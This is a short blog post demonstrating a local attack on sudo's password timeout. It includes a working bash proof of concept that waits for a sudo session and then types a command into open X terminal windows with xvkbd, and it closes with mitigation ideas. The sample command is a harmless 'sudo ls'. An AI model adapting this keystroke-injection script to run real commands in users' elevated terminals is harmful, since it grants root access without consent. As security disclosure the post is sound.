Exploiting the sudo password timeout.

I love sudo. Sudo allows me to do necessary system administration without having to login as root and potentially wrecking my system. I also really like that after issuing the first sudo command, I don’t have to type my password over and over, unless and until I leave my terminal window alone for 15 minutes.

Recently, I started using windows terminal as my preferred shell on Windows. It’s highly configurable and pretty awesome in general, and Open Source too!

One thing that seemed disappointing was that it’s not possible to open an elevated shell in a tab, when the application itself is not elevated. Combined with the lack of a sudo command in Windows, this made the application less useful than I’d hoped it would be. According to this (very chatty) bug report (#632), it turns out the reason this isn’t supported is because it’s theoretically possible to send keystrokes to any unelevated window from any other unelevated process. I’m not sure how big a problem this really is, but if this is a security risk in Windows, it’s probably a risk in Linux too.

I’ve created a small bash script to demonstrate the risk. It waits for a sudo process to show up, which is active when the user tries to run a command with sudo the first time and has to type their password. Then, the script waits for the process to disappear, assuming the password was correct and the command has finished (hopefully within sudo’s password timeout). Now we know that there’s probably some window that is allowed to run sudo commands without asking for a password. The script then lists all X windows with ‘terminal’ in its name, using xwininfo and grep, and sends the malicious command sudo ls to them, using xvkbd.

#!/bin/bash

# Wait for sudo to start
until pids=$(pidof sudo)
do
        sleep 0.2
done

echo $pids

# Wait for the user to finish typing their password
pids2=$pids
while [[ $pids == $pids2 ]]
do
        sleep 1
        pids2=$(pidof sudo)
done

echo "Sudo finished, running malicious command..."
xwininfo -root -children | grep -i terminal | grep -v '10x10' | tr -s [:blank:] | cut -d ' ' -f 2 | xargs -I '{}' xvkbd -text 'sudo ls\r' -window '{}'

echo "Pwnage finished!"

The script itself doesn’t have to run in an elevated window, it just waits and bides its time to run an elevated command in another window. In this case the script has to be run manually and depends on several not quite common tools like xwininfo and xvkbd. The script also makes no attempt to hide or disguise itself. But as a proof of concept it’s easy to see how code could be written with the same functionality that is run more covertly.

Mitigation

I’m not sure what the best way to mitigate this problem is. Configuring sudo to ask for a password every time is possible, but that would be very user unfriendly. People would probably turn to sudo -i or su a lot more, making the problem only worse. Maybe it’s possible to disable receiving keystrokes (with the XTEST protocol) during the time sudoing without password is allowed.